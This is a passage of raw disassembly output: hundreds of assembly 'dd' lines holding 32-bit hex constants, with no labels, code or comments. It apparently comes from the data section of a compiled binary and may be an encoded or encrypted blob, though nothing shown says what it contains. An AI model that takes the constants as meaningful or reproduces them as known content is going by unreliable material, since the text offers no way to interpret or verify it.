		dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h,	221A27C2h
		dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h,	0A976B7D8h
		dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h,	0FD6C7B1Ch
		dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh,	3D4500EFh
		dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh,	9E7A20EFh
		dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h
		dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h
		dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh
		dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch,	0DE854992h
		dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh,	71A855C4h
		dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h
		dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h,	0DF9DEF5Eh
		dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh
		dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h,	2FEA5496h
		dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h
		dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh,	0CD5D5279h
		dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h
		dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah,	8B5E8686h
		dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh
		dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h
		dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h
		dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch
		dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh
		dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch
		dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h
		dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh
		dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh,	820C793Fh
		dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h
		dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh
		dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h,	254E8146h
		dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh
		dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h
		dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh,	3C52FCB1h
		dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh
		dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh
		dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h
		dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh,	0B28CF569h
		dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h,	0F73953D2h
		dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h
		dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h,	0ED14EE4Ah
		dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h
		dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h
		dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh
		dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h
		dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh,	0CD5B21Eh
		dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh
		dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h
		dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h
		dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h
		dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h,	92DDE65Fh
		dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh
		dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh,	0AB69D028h
		dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h
		dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h
		dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh
		dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h,	6BFA2E74h
		dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h
		dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh,	0E8558D2Dh
		dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah,	0DABF4DC8h
		dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh
		dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah
		dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh
		dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah,	65FF967Fh
		dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h,	17FEAB84h
		dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h
		dd 0DF4FAB5h, 8D924D3h,	135033EBh, 15D77893h, 89A033FEh
		dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h
		dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h
		dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h,	0A906CE6h
		dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah
		dd 834C2C60h, 52FFC43h,	1E98AB59h, 9959ED59h, 0FB0ABD2Dh
		dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h,	4425A545h
		dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h
		dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh
		dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h
		dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h
		dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh,	0B134BCACh
		dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h
		dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h,	7152783Dh
		dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh
		dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh,	795D0C32h
		dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h,	0CB22D362h
		dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh,	0F3258B55h
		dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h
		dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h
		dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h
		dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh,	1BCA7E30h
		dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h,	0B351D07Bh
		dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h,	0ED3B42F2h
		dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch
		dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh,	26AF0589h
		dd 4DE0EC55h, 0BDFE46DBh
		dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h,	3EB18CBBh
		dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh,	9FA3236Bh
		dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch
		dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h,	0BF9498B8h
		dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh,	3081FAC0h
		dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch,	8E5A358Fh
		dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h
		dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h
		dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h,	8347BDAAh
		dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h,	0A7DC1A94h
		dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h
		dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh,	948D7C21h
		dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h
		dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh
		dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h
		dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h
		dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h
		dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch
		dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah
		dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h
		dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h
		dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh,	0E67C98CEh
		dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh
		dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh,	0A69B9A6Eh
		dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h
		dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h
		dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h,	5E871486h
		dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh,	0CA63E530h
		dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah,	0D90F6727h
		dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h,	9A474668h
		dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h
		dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h
		dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh,	551C9933h
		dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh
		dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h,	88259E95h
		dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h,	59BC87E8h
		dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh
		dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h
		dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh,	0C706B0D6h
		dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h,	31C4A615h
		dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h
		dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h
		dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h
		dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h
		dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h
		dd 471DA41h, 91AAC392h,	538A6E1Ch, 0B3CE1758h, 4C326D7h
		dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh
		dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh
		dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h
		dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h,	2B68996Ch
		dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h,	921A25FDh
		dd 59C625CFh, 7CFD26Ah,	0C41B9B19h, 83BF775h, 53F224F6h
		dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh,	71ED96A2h
		dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h,	0EC67635Ah
		dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh
		dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h
		dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h,	253EF53Dh
		dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h,	0FF3DF113h
		dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh
		dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h
		dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh,	0D943CB13h
		dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h
		dd 65AFC3Eh, 679B7533h,	0EA6028A8h, 8109222Bh, 0FA9F2104h
		dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h
		dd 32F450h, 0FBBB7037h,	521C09BFh, 0C8DCA069h, 0D94889CAh
		dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h,	0D9B18946h
		dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h,	6299A47h
		dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h
		dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h
		dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch,	3A2A4B09h
		dd 7828DF5h, 1DCCBF3Dh,	0B8C2510Bh, 5E5D68A1h, 14F554C6h
		dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch
		dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h
		dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h
		dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h,	4A8B0F44h
		dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h,	1024758Ch
		dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h
		dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h,	0E668B745h
		dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh
		dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h
		dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h
		dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h
		dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h
		dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh,	0BA446A46h
		dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh
		dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h
		dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h,	63D16643h
		dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h,	0D2BA3262h
		dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h,	2B10F208h
		dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh,	0F580323Ch
		dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h,	9878D96Eh
		dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah
		dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh
		dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah
		dd 383C06ECh, 27D28E6h,	3537A961h, 0FB99DB82h, 2D8C14DAh
		dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h
		dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h,	0F013D72Eh
		dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h
		dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h
		dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h,	379BDCCDh
		dd 84D91C5h, 1926A60Dh,	1B1DCBAEh, 45E154F8h, 0F6EE842Eh
		dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh
		dd 0D436921Ah, 5C04B89Fh
		dd 7FB9E05h, 4B173F7Eh,	10A4DADAh, 82FB825Bh, 0E5C88043h
		dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h,	727A8D16h
		dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h
		dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h
		dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch,	3BF60DDh
		dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h
		dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h,	7A8D3AFCh
		dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h
		dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h,	3A50A655h
		dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h,	0FF46FD02h
		dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h,	66BBEAD9h
		dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh
		dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h
		dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h
		dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh,	0A789521Bh
		dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h
		dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h
		dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh
		dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h
		dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h,	0A4954851h
		dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h,	25953D2h
		dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh,	460C0010h
		dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h,	5603D3C2h
		dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh
		dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h
		dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h
		dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh,	836981DAh
		dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h
		dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h
		dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h
		dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h
		dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh
		dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh
		dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh
		dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h
		dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh
		dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh
		dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh
		dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch,	2E3C022Bh
		dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h,	0FE413D2Eh
		dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h,	4F84A505h
		dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h,	2227E545h
		dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh
		dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h
		dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh
		dd 9FCB9F8h, 9A49D26Fh,	0BCB967DBh, 0B864EA06h,	0D3AF0123h
		dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h,	0FF8E49D4h
		dd 9EA5CD7h, 9AABC06Dh,	9CC23F68h, 5B63A2F1h, 27B6AF0Ah
		dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh,	999C55C1h
		dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h
		dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh
		dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h
		dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h,	86532E3h
		dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h
		dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch
		dd 377781Ah, 49BE2730h,	0CB38BD98h, 0ECBBF250h,	0F5164B0Ch
		dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch,	913914C4h
		dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh
		dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h
		dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh
		dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h,	0B62C13D7h
		dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h
		dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh
		dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h
		dd 9B4F865Ah, 3DADC1Ch,	6F7E1A3Dh, 3E206265h, 0A14CD48Bh
		dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h
		dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h
		dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh,	3B75F8D9h
		dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h
		dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h,	83CA44ACh
		dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h
		dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h,	0A77A1CD5h
		dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h
		dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h
		dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h,	97CC621Bh
		dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h,	0C5FEEB38h
		dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah
		dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh
		dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h
		dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh
		dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h
		dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h
		dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h
		dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h
		dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh
		dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h
		dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h
		dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h
		dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh
		dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh,	1B173347h
		dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h
		dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh
		dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh
		dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h
		dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h
		dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh
		dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h
		dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h
		dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h,	0EA64AACBh
		dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch,	0EAD1DD9Fh
		dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h
		dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h
		dd 8FC90A59h, 35AF3461h
		dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh
		dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h,	370233B5h
		dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh
		dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh,	7D583A8h
		dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h
		dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh,	7236DCB7h
		dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh
